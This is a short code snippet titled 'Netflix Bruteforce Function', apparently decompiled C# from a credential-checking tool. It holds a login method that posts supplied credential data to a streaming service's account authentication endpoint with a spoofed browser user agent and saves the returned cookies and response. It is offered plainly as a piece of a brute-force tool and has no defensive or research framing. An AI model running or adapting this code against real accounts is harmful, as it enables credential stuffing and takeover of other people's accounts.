Netflix Bruteforce Function

public void login()
        {
            try
            {
                CookieContainer cookieContainer = new CookieContainer();
                UTF8Encoding uTF8Encoding = new UTF8Encoding();
                byte[] bytes = uTF8Encoding.GetBytes(this.postdata);
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://api-global.n...m/account/auth");
                httpWebRequest.Method = "POST";
                httpWebRequest.KeepAlive = true;
                httpWebRequest.Accept = "*/*";
                httpWebRequest.ContentType = "text/xml; charset=utf-8";
                httpWebRequest.UserAgent = " Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 4.0.30319.17929)";
                httpWebRequest.ContentLength = (long)bytes.Length;
                Stream requestStream = httpWebRequest.GetRequestStream();
                requestStream.Write(bytes, 0, bytes.Length);
                requestStream.Close();
                HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                this.postcookie.Add(httpWebResponse.Cookies);
                StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream());
                this.str1 = streamReader.ReadToEnd();
                streamReader.Close();
            }
            catch (Exception expr_CE)
            {
                ProjectData.SetProjectError(expr_CE);
                Exception ex = expr_CE;
                this.str1 = "error" + ex.ToString();
                ProjectData.ClearProjectError();
            }
        }